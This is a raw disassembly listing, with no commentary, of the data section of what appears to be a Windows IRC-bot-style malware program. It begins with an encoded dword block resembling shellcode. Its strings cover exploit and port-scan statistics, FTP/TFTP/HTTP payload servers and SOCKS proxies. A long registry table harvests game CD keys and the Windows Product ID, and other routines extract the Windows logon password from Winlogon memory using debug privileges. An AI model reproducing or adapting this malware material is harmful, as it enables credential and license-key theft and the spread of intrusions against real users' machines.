dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o
align 4
unk_42B134 db 2 ; DATA XREF: sub_407110+11o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_42B20C db 2 ; DATA XREF: sub_407252+307o
; sub_40EE72+54B9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_407252+267o
dd 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_407252+1FAo
dd 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_1 db ' Failed to start server, error: <%d>.',0
unk_42B328 db 2 ; DATA XREF: sub_407252+DBo
; sub_40EE72+5343o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o
; sub_40AEE0+46o
unk_42B384 db 2 ; DATA XREF: sub_407767+EEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_42B3BC db 2 ; DATA XREF: sub_407767+93o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_42B45C db 2 ; DATA XREF: sub_40797F+173o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 4
unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_42B5DC db 2 ; DATA XREF: ___:00407F10o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
unk_42B62C db 2 ; DATA XREF: ___:00407E47o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 10h
unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o
; sub_40EE72+5E22o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 4
unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o
aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o
; sub_4089E7+26o
align 10h
dd 80000001h
off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
; sub_408C26+21o
; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
push 500042CAh
retf 42h
; ---------------------------------------------------------------------------
dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o
dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0)
dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0)
dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0)
dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0)
dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0)
dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0)
dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0)
dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0)
dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0)
dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0)
dd 80000002h, 42C770h, 43C80Ch, 42C760h, 2 dup(0)
dd 80000002h, 42C728h, 43C80Ch, 42C714h, 2 dup(0)
dd 80000002h, 42C6C8h, 43C80Ch, 42C6A8h, 2 dup(0)
dd 80000002h, 42C658h, 43C80Ch, 42C62Ch, 2 dup(0)
dd 80000002h, 42C5F0h, 43C80Ch, 42C5DCh, 2 dup(0)
dd 80000002h, 42C5A4h, 43C80Ch, 42C594h, 2 dup(0)
dd 80000002h, 42C544h, 43C80Ch, 42C518h, 2 dup(0)
dd 80000002h, 42C4D8h, 43C80Ch, 42C4BCh, 2 dup(0)
dd 80000002h, 42C48Ch, 43C80Ch, 42C46Ch, 2 dup(0)
dd 80000002h, 42C430h, 43C80Ch, 42C41Ch, 2 dup(0)
dd 80000002h, 42C3D4h, 43C80Ch, 42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
add al, [eax]
add byte_42C360[eax], al
or al, 0C8h
inc ebx
add [eax], dh
retn
; ---------------------------------------------------------------------------
dw 42h
dd 2 dup(0)
dd 80000002h, 42C2E0h, 43C80Ch, 42C2B4h, 2 dup(0)
dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0)
dd 80000002h, 42C208h, 43C80Ch, 42C1ECh, 2 dup(0)
dd 80000002h, 42C1A0h, 43C80Ch, 42C17Ch, 2 dup(0)
dd 80000002h, 42C148h, 43C80Ch, 42C13Ch, 2 dup(0)
dd 80000002h, 42C108h, 43C80Ch, 42C0FCh, 2 dup(0)
dd 80000002h, 42C0C8h, 43C80Ch, 42C0BCh, 2 dup(0)
dd 80000002h, 42C088h, 43C80Ch, 42C07Ch, 2 dup(0)
dd 80000002h, 42C040h, 43C80Ch, 42C02Ch, 2 dup(0)
dd 80000002h, 42BFF0h, 43C80Ch, 42BFDCh, 2 dup(0)
dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0)
dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0)
dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0)
dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0)
dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0)
dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0)
dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0)
dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h
dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h
dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h
dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: ___:004312ECo
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0
aCdkey db 'CDKey',0
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
align 4
asc_42CA98: ; DATA XREF: sub_408C26+E9o
; sub_408C26+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_408C26+8Fo
; sub_40EE72:loc_413645o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo
; sub_408EE5+45o ...
align 4
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
align 4
unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao
align 4
unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToEnable db ' Failed to enable Debug Privilege.',0
align 10h
unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindWi db ' Unable to find Winlogon Process ID.',0
unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindTh db ' Unable to find the password in memory.',0
align 4
unk_42CC0C db 2 ; DATA XREF: sub_409037+117o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(no password)).',0
align 4
off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004B+2
dd offset byte_4E0049
dd 0
off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo
dd offset byte_520045
dd offset loc_41004B+3
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
; sub_409037+161o ...
align 10h
unk_42CD60 db 2 ; DATA XREF: sub_409037+35o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aOnlySupportedO db ' Only supported on Windows NT/2000.',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o
align 4
